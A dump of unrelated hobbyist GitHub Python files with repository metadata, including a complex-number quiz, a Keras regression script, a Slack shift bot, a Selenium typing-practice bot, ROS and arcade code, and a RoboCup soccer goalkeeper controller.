wrong_answers = [\n MathsComplexNumber(\n MathsRandomConstant(start_re, end_re, step_re),\n MathsRandomConstant(start_im, end_im, step_im)\n ) for _ in xrange(2)\n ]\n\n return [self.zw] + wrong_answers\n\n # Only compute once as the same contents must be returned\n # for the same question instance.\n if not hasattr(self, '_part_one'):\n # question = 'zw'\n question = self.zw_var\n\n self._part_one = question, answers()\n \n return self._part_one\n\n @property\n def part_two(self):\n \"\"\"\n Part two of the question. What is '|zw|'?\n \"\"\"\n\n # The question and answers are placed in different functions\n # to clearly separate the logic for each.\n\n def answers():\n zw_mod = compute_modulus(self.zw)\n\n # Remove the square root.\n zw_mod_squared = zw_mod.operands[0]\n\n # Compute vars for random number generation.\n step = int(zw_mod_squared.render() * 0.1)\n if step < 1:\n step = 1\n start = int(zw_mod_squared.render() - step*10)\n end = int(zw_mod_squared.render() + step*10)\n\n # Generate random numbers.\n wrong_answers = [\n MathsExpression(\n MathsRandomConstant(start, end, step),\n operators.sqrt\n ) for _ in xrange(2)\n ]\n\n return [zw_mod] + wrong_answers\n\n # Only compute once as the same contents must be returned\n # for the same question instance.\n if not hasattr(self, '_part_two'):\n # question = '|zw|'\n question = MathsExpression(\n self.zw_var,\n operators.abs\n )\n\n self._part_two = question, answers()\n\n return self._part_two\n\n @property\n def part_three(self):\n \"\"\"\n Part three of the question. What is '|z||w|'?\n\n NOTE: There is a pattern here that the user might detect,\n and solve this question quicker. Basically the\n answer to this is the same as `self.part_two` because\n |zw| = |z||w|. It is down to the quiz object to\n detect this, then the `self.pattern` method can be\n used.\n \"\"\"\n\n # The question and answers are placed in different functions\n # to clearly separate the logic for each.\n\n def question():\n # |z|\n z_mod_var = MathsExpression([\n MathsVariable('z'),\n ], operators.abs\n )\n # |w|\n w_mod_var = MathsExpression([\n MathsVariable('w'),\n ], operators.abs\n )\n\n # |z||w|\n return MathsExpression([\n z_mod_var, w_mod_var\n ], operators.multiply\n )\n\n def answers():\n # |a + bj| = sqrt(a*a + b*b)\n z_mod = compute_modulus(self.z)\n w_mod = compute_modulus(self.w)\n\n # |a + bj|^2 = a*a + b*b.\n z_mod_squared = z_mod.operands[0]\n w_mod_squared = w_mod.operands[0]\n\n # |a + bj|^2 |c + dj|^2 = (a*a + b*b)(c*c + d*d)\n z_mod_squared_w_mod_squared = MathsConstant(\n z_mod_squared.render() * w_mod_squared.render()\n )\n\n # |a + bj||c + dj| = sqrt[ (a*a + b*b) (c*c + d*d) ]\n z_mod_w_mod = MathsExpression(\n z_mod_squared_w_mod_squared,\n operators.sqrt\n )\n\n # Compute vars for random numbers.\n step = int(z_mod_squared_w_mod_squared.render() * 0.1)\n if step < 1:\n step = 1\n start = int(z_mod_squared_w_mod_squared.render() - step*10)\n end = int(z_mod_squared_w_mod_squared.render() + step*10)\n\n # Generate wrong answers.\n wrong_answers = [\n MathsExpression(\n MathsRandomConstant(start, end, step),\n operators.sqrt\n ) for _ in xrange(2)\n ]\n\n return [z_mod_w_mod] + wrong_answers\n\n # Only compute once as the same contents must be returned\n # for the same question instance.\n if not hasattr(self, '_part_three'):\n self._part_three = question(), answers()\n\n return self._part_three\n\n def pattern(self, user_answer=None):\n \"\"\"\n Ask about the pattern in the question.\n\n :param user_answer: The user's answer.\n\n :returns: Possible answers or, if `user_answer` is provided,\n whether the user is correct.\n \"\"\"\n # Helper function\n equal = lambda exp1, exp2: '{} = {}'.format(exp1.render(),\n exp2.render())\n\n # A few algebraic expressions.\n z_mod_var = MathsExpression(self.z_var, operators.abs)\n w_mod_var = MathsExpression(self.w_var, operators.abs)\n z_mod_w_mod_var = MathsExpression([\n z_mod_var,\n w_mod_var\n ])\n zw_mod_var = MathsExpression(self.zw_var, operators.abs)\n\n # The possible answers\n correct_answer = equal(zw_mod_var, z_mod_w_mod_var)\n incorrect_answer_one = equal(z_mod_var, w_mod_var)\n incorrect_answer_two = equal(z_mod_var, zw_mod_var)\n\n # If answering the question return the result.\n if user_answer is not None:\n return correct_answer == user_answer\n\n # Shuffle answers.\n answers = [\n correct_answer,\n incorrect_answer_one,\n incorrect_answer_two\n ]\n random.shuffle(answers)\n\n return answers\n\n\nclass ModulusDivisionQuestion(MultipleChoiceQuestion):\n \"\"\"\n Question for division with the modulus.\n \"\"\"\n def __init__(self, *args, **kwargs):\n # Variables used to represent questions.\n self.z_var = MathsVariable('z')\n self.w_var = MathsVariable('w')\n self.z_div_w_var = MathsExpression([\n self.z_var,\n self.w_var\n ],\n operators.divide\n )\n\n # Per-Question random variable definitions.\n self.z = MathsComplexNumber(\n MathsRandomConstant(1, 11),\n MathsRandomConstant(1, 11)\n )\n self.w = MathsComplexNumber(\n MathsRandomConstant(1, 11),\n MathsRandomConstant(1, 11)\n )\n self.z_div_w = compute_divide(self.z, self.w)\n\n # Required `MultipleChoiceQuestion` instance varibles.\n self.data = dict(z=self.z.render(), w=self.w.render())\n self.parts = [self.part_one, self.part_two, self.part_three]\n\n # Call the inherited class's __init__\n super(\n ModulusDivisionQuestion,\n self\n ).__init__(*args, **kwargs)\n\n @property\n def part_one(self):\n \"\"\"\n Part one of the question. What is 'z / w'?\n \"\"\"\n\n # The answers are placed in a functions\n # to clearly separate the logic from the question.\n\n def answers():\n\n # Compute vars for random number generation.\n # For both the real part...\n step_re = int(self.z_div_w.re)\n if step_re < 1:\n step_re = 1\n start_re = int(self.z_div_w.re - step_re*10)\n end_re = int(self.z_div_w.re + step_re*10)\n\n # ....and imaginary part.\n step_im = int(self.z_div_w.im)\n if step_im < 1:\n step_im = 1\n start_im = int(self.z_div_w.im - step_im*10)\n end_im = int(self.z_div_w.im + step_im*10)\n\n # Generate wrong answers.\n wrong_answers = [\n MathsComplexNumber(\n MathsRandomConstant(start_re, end_re, step_re),\n MathsRandomConstant(start_im, end_im, step_im)\n ) for _ in xrange(2)\n ]\n\n return [self.z_div_w] + wrong_answers\n\n # Only compute once as the same contents must be returned\n # for the same question instance.\n if not hasattr(self, '_part_one'):\n # question = 'z / w'\n question = self.z_div_w_var\n\n self._part_one = question, answers()\n\n return self._part_one\n\n @property\n def part_two(self):\n \"\"\"\n Part two of the question. What is '|z / w|'?\n \"\"\"\n\n # The question and answers are placed in different functions\n # to clearly separate the logic for each.\n\n def answers():\n z_div_w_mod = compute_modulus(self.z_div_w)\n\n # Remove the square root.\n z_div_w_mod_squared = z_div_w_mod.operands[0]\n\n # Compute vars for random number generation.\n step = int(z_div_w_mod_squared.render())\n if step < 1:\n step = 1\n start = int(z_div_w_mod_squared.render() - step*10)\n end = int(z_div_w_mod_squared.render() + step*10)\n\n # Generate random numbers.\n wrong_answers = [\n MathsExpression(\n MathsRandomConstant(start, end, step),\n operators.sqrt\n ) for _ in xrange(2)\n ]\n\n return [z_div_w_mod] + wrong_answers\n\n # Only compute once as the same contents must be returned\n # for the same question instance.\n if not hasattr(self, '_part_two'):\n # question = '|zw|'\n question = MathsExpression(\n self.z_div_w_var,\n operators.abs\n )\n\n self._part_two = question, answers()\n\n return self._part_two\n\n @property\n def part_three(self):\n \"\"\"\n Part three of the question. What is '|z| / |w|'?\n\n NOTE: There is a pattern here that the user might detect,\n and solve this question quicker. Basically the\n answer to this is the same as `self.part_two` because\n |z/w| = |z|/|w|. It is down to the quiz object to\n detect this, then the `self.pattern` method can be\n used.\n \"\"\"\n\n # The question and answers are placed in different functions\n # to clearly separate the logic for each.\n\n def question():\n # |z|\n z_mod_var = MathsExpression([\n MathsVariable('z'),\n ], operators.abs\n )\n # |w|\n w_mod_var = MathsExpression([\n MathsVariable('w'),\n ], operators.abs\n )\n\n # |z| / |w|\n return MathsExpression([\n z_mod_var, w_mod_var\n ], operators.divide\n )\n\n def answers():\n correct = self.part_two[1][0]\n correct_squared = correct.operands[0]\n\n # Compute vars for random numbers.\n step = int(correct_squared.render())\n if step < 1:\n step = 1\n start = int(correct_squared.render() - step*10)\n end = int(correct_squared.render() + step*10)\n\n # Generate wrong answers.\n wrong_answers = [\n MathsExpression(\n MathsRandomConstant(start, end, step),\n operators.sqrt\n ) for _ in xrange(2)\n ]\n\n return [correct] + wrong_answers\n\n # Only compute once as the same contents must be returned\n # for the same question instance.\n if not hasattr(self, '_part_three'):\n self._part_three = question(), answers()\n\n return self._part_three\n\n def pattern(self, user_answer=None):\n \"\"\"\n Ask about the pattern in the question.\n\n :param user_answer: The user's answer.\n\n :returns: Possible answers or, if `user_answer` is provided,\n whether the user is correct.\n \"\"\"\n # Helper function\n equal = lambda exp1, exp2: '{} = {}'.format(exp1.render(),\n exp2.render())\n\n # A few algebraic expressions.\n z_mod_var = MathsExpression(self.z_var, operators.abs)\n w_mod_var = MathsExpression(self.w_var, operators.abs)\n z_mod_div_w_mod_var = MathsExpression([\n z_mod_var,\n w_mod_var\n ], operators.divide)\n z_div_w_mod_var = MathsExpression(self.z_div_w_var, operators.abs)\n\n # The possible answers\n correct_answer = equal(z_div_w_mod_var, z_mod_div_w_mod_var)\n incorrect_answer_one = equal(z_mod_var, w_mod_var)\n incorrect_answer_two = equal(z_mod_var, z_div_w_mod_var)\n\n # If answering the question return the result.\n if user_answer is not None:\n return correct_answer == user_answer\n\n # Shuffle answers.\n answers = [\n correct_answer,\n incorrect_answer_one,\n incorrect_answer_two\n ]\n random.shuffle(answers)\n\n return answers\n\n\nclass PatternState(object):\n \"\"\"\n Enum like object for representing the state of patterns being\n spotted.\n \"\"\"\n\n not_spotted, spotted, confirmed = range(3)\n\n\nclass Quiz(BaseQuiz):\n \"\"\"\n The Modulus Quiz.\n\n Contents:\n ModulusProductQuestion * 3,\n ModulusDivisionQuestion * 3\n\n \"\"\"\n def __init__(self):\n self.questions = [\n (ModulusProductQuestion, 3),\n (ModulusDivisionQuestion, 3)\n ]\n self.repeat_limit = 0\n self.repeat_count = 0\n self.score = 0\n self.prev_resp_time = None\n self.pattern = PatternState.not_spotted\n super(Quiz, self).__init__()\n\n def next(self, json=None):\n \"\"\"\n Handle request to '/the_modulus/_next'.\n \"\"\"\n if self.pattern == PatternState.not_spotted and\\\n self.question is None:\n return self.finish()\n\n # Separate GET and POST requests.\n return {\n 'GET': self.get_question,\n 'POST': self.answer_question,\n }[request.method](json)\n\n @property\n def question(self):\n # Check if there is still a question loaded that has not been\n # answered.\n if hasattr(self, '_question'):\n if not self._question.answered or self.pattern != PatternState.not_spotted:\n return self._question\n\n # Check if the current question type is finished or needs to\n # be repeated.\n if not hasattr(self, '_Question') or self.repeat_count >= self.repeat_limit:\n\n if len(self.questions) == 0:\n # Finished!\n return None\n\n # Go to next question type.\n self.repeat_count = 0\n self.prev_resp_time = None\n self.pattern = PatternState.not_spotted\n self._Question, self.repeat_limit = self.questions.pop(0)\n\n # Create new instance of `self._Question` at `self._question`\n self.repeat_count += 1\n self._question = self._Question()\n return self._question\n\n def get_question(self, _=None):\n \"\"\"\n Handle: GET /the_modulus/_next\n \"\"\"\n\n # As error message says below.\n if self.pattern != PatternState.not_spotted:\n raise BadRequestError(\n \"Can't get more questions until the pattern has \" +\n \"been processed.\"\n )\n\n response = self.question.ask()\n response['finish'] = False\n return response\n\n def answer_question(self, json):\n \"\"\"\n Handle: POST /the_modulus/_next\n \"\"\"\n\n # Data is needed when answering a question.\n if json is None:\n BadRequestError(\"No data!\")\n\n # When a pattern is spotted.\n if self.pattern != PatternState.not_spotted:\n\n # If the users says they know the pattern.\n if self.pattern == PatternState.confirmed:\n\n # If correct they get all the remaining points plus\n # an additional 5.\n score = 5 + (\n (self.repeat_limit - self.repeat_count) *\n len(self.question.parts) * 5\n )\n\n if 'answer' not in json:\n raise BadRequestError('Expected answer.')\n\n # If correct they get the points.\n if self._question.pattern(json['answer']):\n self.score += score\n\n # Else they loose all remaining points.\n\n # Either way, go to the next question.\n self.pattern = PatternState.not_spotted\n self.repeat_count = self.repeat_limit\n\n return dict(score=self.score)\n\n # Only other option is they are confirming whether or\n # not they know the pattern.\n if json.get('spotted', False):\n # If they say they know the pattern, return the\n # pattern question.\n self.pattern = PatternState.confirmed\n return dict(patterns=self.question.pattern())\n\n # So they don't yet know the pattern.\n self.pattern = PatternState.not_spotted\n return {}\n\n # A question must be being answered. If not, something has\n # gone wrong.\n if 'answer' not in json:\n raise BadRequestError('Expected answer.')\n\n # Answer question.\n score, results = self.question.answer(json)\n self.score += score\n\n # A pattern may have been spotted if the response time is\n # less than the previous.\n resp_time = json['answer'][-1][1]\n if self.prev_resp_time is not None and results[-1]:\n if resp_time < self.prev_resp_time:\n self.pattern = PatternState.spotted\n\n # Save previous response time to last question if correct.\n self.prev_resp_time = resp_time if results[-1] else None\n\n return dict(\n score=self.score,\n spotted=self.pattern\n )\n\n def finish(self, name=None):\n \"\"\"\n Finish quiz, save scores\n \"\"\"\n self.ended = True\n if name is None:\n return dict(finish=True)\n\n return (self.score, name)\n\n\n\n","repo_name":"stlukey/Complexity","sub_path":"complexity/quizzes/the_modulus.py","file_name":"the_modulus.py","file_ext":"py","file_size_in_byte":24203,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"31827045328","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 20 16:55:17 2017\n\n@author: Stein\n\"\"\"\n\n# Import the libraries\nprint ('[INFO] loading computational backend...')\nimport numpy as np\nimport pandas as pd\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.wrappers.scikit_learn import KerasRegressor\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import KFold\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.metrics import r2_score\n\n\n# Importing the dataset\ndataset = pd.read_csv('50_Startups.csv')\nX = dataset.iloc[:, :-1].values\ny = dataset.iloc[:, 4].values\n\n# Encoding categorical data\n# Encoding the Independent Variable\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nlabelencoder_X = LabelEncoder()\nX[:, 3] = labelencoder_X.fit_transform(X[:, 3])\nonehotencoder = OneHotEncoder(categorical_features = [3])\nX = onehotencoder.fit_transform(X).toarray()\n\n# Splitting the dataset into Training set and Test set\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, \n random_state = 0)\n\n\n# Define the base model\ndef baseline_model():\n # Create the model\n model = Sequential()\n \n model.add(Dense(6, input_dim = 6, \n kernel_initializer = 'normal',\n activation = 'relu'))\n \n model.add(Dense(1, kernel_initializer = 'normal'))\n \n # Compile the model\n model.compile(loss = 'mean_squared_error', optimizer = 'adam')\n return model\n\ndef large_model():\n # Create the model : 6 inputs -> [13 -> 6] -> 1 output\n model = Sequential()\n \n model.add(Dense(6, input_dim = 6, \n kernel_initializer = 'normal',\n activation = 'relu'))\n \n model.add(Dense(6, \n kernel_initializer = 'normal',\n activation = 'relu'))\n \n model.add(Dense(1, kernel_initializer = 'normal'))\n \n # Compile the model\n model.compile(loss = 'mean_squared_error', optimizer = 'adam')\n return model\n\ndef wide_model():\n # Create the model : 6 inputs -> [20] -> 1 output\n model = Sequential()\n \n model.add(Dense(20, input_dim = 6, \n kernel_initializer = 'normal',\n activation = 'relu'))\n \n model.add(Dense(1, kernel_initializer = 'normal'))\n \n # Compile the model\n model.compile(loss = 'mean_squared_error', optimizer = 'adam')\n return model\n\ndef wide_large_model():\n # Create the model : 6 inputs -> [20 -> 6] -> 1 output\n model = Sequential()\n \n model.add(Dense(20, input_dim = 6, \n kernel_initializer = 'normal',\n activation = 'relu'))\n \n model.add(Dense(6, \n kernel_initializer = 'normal',\n activation = 'relu'))\n \n model.add(Dense(1, kernel_initializer = 'normal'))\n \n # Compile the model\n model.compile(loss = 'mean_squared_error', optimizer = 'adam')\n return model\n\n\n\n# Evaluate the model with non-standardized dataset\nestimator = KerasRegressor(build_fn = large_model,\n nb_epoch = 100,\n batch_size = 5,\n verbose = 1)\n\nestimator.fit(X_train, y_train, batch_size = 5, epochs = 100)\n\ny_pred = estimator.predict(X_test)\n\n# Evaluate model performance\nscore = r2_score (y_test_sc, y_pred)\n\n\n\n# Evaluate the model with standardize dataset - Base line model\nprint ('Evaluating baseline model - standardized data...')\nestimators = []\nestimators.append(('standardize', StandardScaler()))\nestimators.append(('mlp', KerasRegressor(build_fn = baseline_model,\n epochs = 50,\n batch_size = 5,\n verbose = 1)))\npipeline = Pipeline(estimators)\n\nkfold = KFold(n_splits = 10, random_state = 0)\nresults = cross_val_score(pipeline, X, y, cv = kfold)\nkfold_mlp_mean = accuracy_mlp.mean()\nkfold_mlp_std = accuracy_mlp.std()","repo_name":"steincastillo/ML-Reference","sub_path":"regression_mlp_esc_v2.py","file_name":"regression_mlp_esc_v2.py","file_ext":"py","file_size_in_byte":4158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22111109650","text":"'''\n조민규 선배님의 Flask_Large_Application_Example 에서 흥미롭게 봐서 사용하였습니다.\n'''\nfrom termcolor import colored\n\ndef log(message: str, keyword: str=\"WARN\"):\n if keyword == \"WARN\":\n print(colored('[WARN]', 'yellow'), message)\n elif keyword == \"ERROR\":\n print(colored('[ERROR] ' + message, 'red'))\n elif keyword == \"INFO\":\n print(colored('[INFO]', 'blue'), message)\n else:\n print(colored('[{}]'.format(type), 'cyan'), message)","repo_name":"team-requin/ReQuiz_Backend","sub_path":"app/misc/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37704337559","text":"from LinkedListImpl import ListNode\nfrom LinkedListImpl import createLinkedList\n\ndef hasCycle(head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n \"\"\"\n if head is None:\n return False\n\n slow = head\n fast = head\n\n while fast and fast.next:\n fast, slow = fast.next.next, slow.next\n if fast == slow:\n return True\n \n return False\n\nif __name__ == \"__main__\":\n arr = [3,2,0,-4]\n l = createLinkedList(arr)\n print(arr)\n print(l.linkedListToString())\n print(l.hasCycle())\n c = l.createCycle(1)\n print(l.hasCycle())","repo_name":"zZestyy/LeetCode","sub_path":"blind75/linked-list/141-LinkedListCycle.py","file_name":"141-LinkedListCycle.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30969494690","text":"import tifffile\nimport os\nfrom scipy import stats, optimize, interpolate\nimport matplotlib.pyplot as plt \nimport numpy as np \nimport matplotlib.dates as mdates\nimport datetime as dt\n\ndef compare_sm_am(value):\n return value[0] > 0 and (value[2] == 0 or value[2] == 8)\ndef compare_sm_pm(value):\n return value[1] > 0 and (value[3] == 0 or value[3] == 8)\ndef compare_lst_day(value):\n return value[5] != 0 and value[7] != 0\ndef compare_lst_night(value):\n return value[4] != 0 and value[6] != 0\ndef compare(typ, val):\n if typ == \"soil_moisture_am\":\n return compare_sm_am(val)\n if typ == \"soil_moisture_pm\":\n return compare_sm_pm(val)\n if typ == \"lst_day\":\n return compare_lst_day(val)\n if typ == \"lst_night\":\n return compare_lst_night(val)\n return false\n\ntypes = {\n \"soil_moisture_am\":0,\n \"soil_moisture_pm\":1,\n \"lst_day\":5,\n \"lst_night\":4,\n}\ndef get_time_series(typ, state, i, j, scale):\n layer = types[typ]\n data_x = []\n data_y = []\n for date in sorted(os.listdir(\"data\")):\n if True:\n img = tifffile.imread(\"data/\" + date + \"/\" + state + \"_\" + date + \".tif\")\n if len(img[i][j]) == 8 and compare(typ, img[i][j]):\n data_y.append(img[i][j][layer]*scale)\n else:\n data_y.append(np.nan)\n data_x.append(dt.datetime.strptime(date,'%Y-%m-%d').date())\n else:\n print(\"error\")\n plt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%m/%d/%Y'))\n plt.gca().xaxis.set_major_locator(mdates.DayLocator(interval=100)) \n plt.scatter(data_x, data_y)\n plt.title(typ + \" \" + state + \" for i: \" + str(i) + \" and j: \" + str(j))\n plt.gcf().autofmt_xdate()\n plt.savefig(typ + '_time_series/' + state + '_' + str(i) + '_' + str(j) + '.png') \n plt.clf()\nillinois_grids = [(10,20),(14,34),(19,32),(30,30),(31,41)]\noklahoma_grids = [(10,20),(11,41),(19,24),(19,35),(26,38)]\n\nget_time_series('soil_moisture_am','illinois',27,40, .02)\nget_time_series('soil_moisture_pm','illinois',27,40, .02)\nfor grid in illinois_grids:\n \"\"\"get_time_series('soil_moisture_am','illinois',grid[0],grid[1], 1)\n get_time_series('soil_moisture_pm','illinois',grid[0],grid[1], 1)\n get_time_series('lst_day','illinois',grid[0],grid[1], .02)\"\"\"\n get_time_series('lst_night','illinois',grid[0],grid[1], .02)\n\"\"\"for grid in oklahoma_grids:\n get_time_series('soil_moisture_am','oklahoma',grid[0],grid[1], 1)\n get_time_series('soil_moisture_pm','oklahoma',grid[0],grid[1], 1)\n get_time_series('lst_day','oklahoma',grid[0],grid[1], .02)\n get_time_series('lst_night','oklahoma',grid[0],grid[1], .02)\"\"\"","repo_name":"johnwwalls/soil_moisture","sub_path":"get_time_series.py","file_name":"get_time_series.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15437655267","text":"from slackbot.bot import respond_to\nimport random\n\n@respond_to('shift (.*)')\ndef shift(message, args):\n message.react('+1')\n\n list = args.split()\n\n # Validations\n # 第一引数チェック\n try:\n num_of_groups = int(list[0])\n except:\n message.reply(f'第1引数<グループ数>には数値を入力してね!\\n\"{list[0]}\"はダメだよ!')\n message.react('sweat')\n return\n\n members = list[1:] # メンバー名のリスト\n num_of_members = len(members)\n\n # グループ数 <= メンバー數 であるかチェック\n if num_of_groups > num_of_members:\n message.reply(f'<グループ数>がメンバー数よりも大きいのはだめだよ!うまく分けられないからね!')\n message.react('sweat')\n return\n \n message.send('シフトを振り分けるよ!')\n random.shuffle(members) # リスト内シャッフル\n \n num_of_members_per_group = int(num_of_members / num_of_groups) # グループあたりの人數\n rem = num_of_members % num_of_groups # 余り\n start = 0\n for group_num in range(num_of_groups):\n end = start + num_of_members_per_group\n if rem > 0:\n end += 1\n rem -= 1\n members_by_group = members[start:end]\n \n msg = '```'\n msg += f'【グループ{group_num+1}】\\n'\n for member in members_by_group:\n msg += f'・{member}\\n'\n msg += '```'\n\n message.send(msg)\n\n start = end\n\n message.reply('シフト振り分け終わったよ!')\n\n\n@respond_to('ありがとう')\ndef thanks(message):\n message.react('smile')","repo_name":"konekato/my-slack-bot","sub_path":"plugins/shift.py","file_name":"shift.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19491576891","text":"#!/usr/bin/env python3\n\nimport rospy\nfrom turtlesim.msg import Pose\n#from std_msgs.msg import Float32\nfrom turtlesim_helper.msg import UnitsLabelled\nimport math\n\n\nclass check_sub:\n def __init__(self):\n self.total = 0\n self.Xold = 0\n self.Yold = 0\n self.pub_msg = UnitsLabelled()\n self.pub_msg.units = \"meters\"\n rospy.Subscriber(\"/turtle1/pose\", Pose, self.callback)\n #self.pub_raw=rospy.Publisher(\"output1\",Float32, queue_size=10)\n self.pub_units = rospy.Publisher(\"output1\", UnitsLabelled, queue_size=10)\n self.pub_units.publish(self.pub_msg)\n \n\n def callback(self,msg):\n\n self.total += math.sqrt(pow(msg.x-self.Xold,2)+pow(msg.y-self.Yold,2))\n self.Xold = msg.x\n self.Yold = msg.y\n self.pub_msg.value = self.total\n #self.pub_raw.publish(self.total)\n self.pub_units.publish(self.pub_msg)\n\n\n\nif __name__=='__main__':\n rospy.init_node('check_sub')\n check_sub()\n rospy.spin()\n\n","repo_name":"mdsaifk123/mohammed","sub_path":"packages/homework2_ros/src/check_sub.py","file_name":"check_sub.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35160205409","text":"import arcade\n\nclass Explosao(arcade.Sprite):\n\n def __init__(self,texture_list,img,escala,center_x,center_y,angulo):\n imagem_inicial = img \n super().__init__(filename=imagem_inicial,scale=escala,center_x=center_x,center_y=center_y)\n self.current_texture = 0\n self.textures = texture_list\n self._angle = angulo\n self.tamanho_lista = len(self.textures)\n self.timer = 0\n self.tamanho = 32\n self.escala = escala\n\n def update(self,delta_time):\n self.timer += delta_time\n if self.timer >= 0.04:\n self.current_texture += 1\n if self.current_texture < self.tamanho_lista:\n self.set_texture(self.current_texture)\n else:\n self.kill()\n self.timer = 0\n\nclass Explosao_central(Explosao):\n def __init__(self,texture_list,img=\"img/explosao/explosao_central1.png\",escala=0.66,center_x=0,center_y=0,angulo=0):\n super().__init__(texture_list,img,escala,center_x,center_y,angulo)\n\nclass Explosao_trilho(Explosao):\n def __init__(self,texture_list,img=\"img/explosao/explosao_trilho1.png\",escala=0.66,center_x=0,center_y=0,angulo=0):\n super().__init__(texture_list,img,escala,center_x,center_y,angulo)\n\nclass Explosao_fim(Explosao):\n def __init__(self,texture_list,img=\"img/explosao/explosao_fim1.png\",escala=0.66,center_x=0,center_y=0,angulo=0):\n super().__init__(texture_list,img,escala,center_x,center_y,angulo)\n","repo_name":"vitorueno/BombAnimal","sub_path":"app/bombas/teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"36464847424","text":"import time\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\n\r\nwith webdriver.Chrome() as driver:\r\n driver.get('https://manabi-gakushu.benesse.ne.jp/gakushu/typing/homeposition.html')\r\n #driver.get('https://manabi-gakushu.benesse.ne.jp/gakushu/typing/nihongonyuryoku.html')\r\n #driver.get('https://manabi-gakushu.benesse.ne.jp/gakushu/typing/eigonyuryoku.html')\r\n \r\n #time.sleep(1)\r\n \r\n elem = driver.find_element(By.ID, \"goSettingButton\")\r\n elem.click()\r\n elem = driver.find_element(By.ID, \"timeLimitButton\")\r\n elem.click()\r\n #time.sleep(1)\r\n elem.send_keys(Keys.LEFT)\r\n #time.sleep(1)\r\n elem.send_keys(Keys.LEFT)\r\n #time.sleep(1)\r\n elem = driver.find_element(By.CLASS_NAME, \"typingButton\")\r\n elem.click()\r\n\r\n #time.sleep(1)\r\n body_element = driver.find_element(By.TAG_NAME, 'body')\r\n body_element.send_keys(Keys.SPACE)\r\n\r\n time.sleep(3)\r\n\r\n while True:\r\n sentence = driver.find_element(By.ID, \"remaining\").text\r\n print(sentence)\r\n for key in(sentence):\r\n body_element.send_keys(key)\r\n time.sleep(0.05)","repo_name":"masaki1327/Typing-Automation","sub_path":"Typing_Automation.py","file_name":"Typing_Automation.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24173715473","text":"import unified_planning\nfrom unified_planning.shortcuts import *\nfrom unified_planning.test import TestCase\nfrom unified_planning.test.examples import get_example_problems\nfrom unified_planning.transformers.transformer import Transformer\n\nclass TestQuantifiersRemover(TestCase):\n def setUp(self):\n TestCase.setUp(self)\n self.problems = get_example_problems()\n\n def test_transformer(self):\n problem = self.problems['basic'].problem\n a = problem.action('a')\n t = Transformer(problem, 't')\n t._new_problem = problem\n with self.assertRaises(NotImplementedError):\n t.get_rewritten_problem()\n with self.assertRaises(NotImplementedError):\n t.rewrite_back_plan(None)\n","repo_name":"karpase/unified-planning","sub_path":"unified_planning/test/test_transformer.py","file_name":"test_transformer.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"24674319094","text":"# rcj_soccer_player controller - ROBOT B1\n\n# Griffins - Goalkeeper\n\nimport math\nimport time\n\nfrom rcj_soccer_robot import RCJSoccerRobot, TIME_STEP\nfrom Mathematics.Mathematics import Clamp\nfrom Mathematics.Vector2 import Vector2\nimport utils\n\nclass MyRobot1(RCJSoccerRobot):\n def __init__(self, robot):\n super().__init__(robot)\n\n self.position: Vector2 = Vector2.zero\n self.rotation: float = 0\n\n self.ballPosition: Vector2 = Vector2.zero\n self.prevBallPosition: Vector2 = Vector2.zero\n\n GK_BLUE_SPOT: Vector2 = Vector2(0.0, 0.5)\n GK_YELLOW_SPOT: Vector2 = Vector2(0.0, -0.5)\n\n self.attackSpot: Vector2\n self.polarity = 0\n if self.name.startswith('B'):\n self.attackSpot = GK_BLUE_SPOT\n self.polarity = 1\n if self.name.startswith('Y'):\n self.attackSpot = GK_YELLOW_SPOT\n self.polarity = -1\n\n\n def run(self):\n while self.robot.step(TIME_STEP) != -1:\n # Update game data\n self.position = self.get_gps_coordinates()\n self.rotation = self.get_compass_heading()\n\n teamData = []\n\n while self.is_new_team_data():\n teamData.append(self.get_new_team_data())\n\n ballData = {}\n if self.is_new_ball_data():\n ballData = self.get_new_ball_data()\n localBallPosition = utils.ball_position(ballData, self.position, self.rotation)\n\n \n self.ballPosition = utils.avg_ball_position(ballData, self.position, self.rotation, teamData)\n self.send_data_to_team(\n self.player_id,\n self.position,\n utils.ball_position(ballData, self.position, self.rotation)\n )\n\n if self.ballPosition.x == -100:\n self.ballPosition = self.prevBallPosition\n\n self.prevBallPosition = self.ballPosition\n\n ballYDelta = (self.attackSpot.y * self.polarity) - (self.ballPosition.y * self.polarity)\n\n if ballYDelta > 0:\n # The ball is in front of the goalkeeper \n \n if ballYDelta < 0.6:\n if self.position.y < self.attackSpot.y + 0.09 and self.position.y > self.attackSpot.y - 0.09:\n if self.rotation < math.radians(345) and self.rotation > math.radians(15):\n 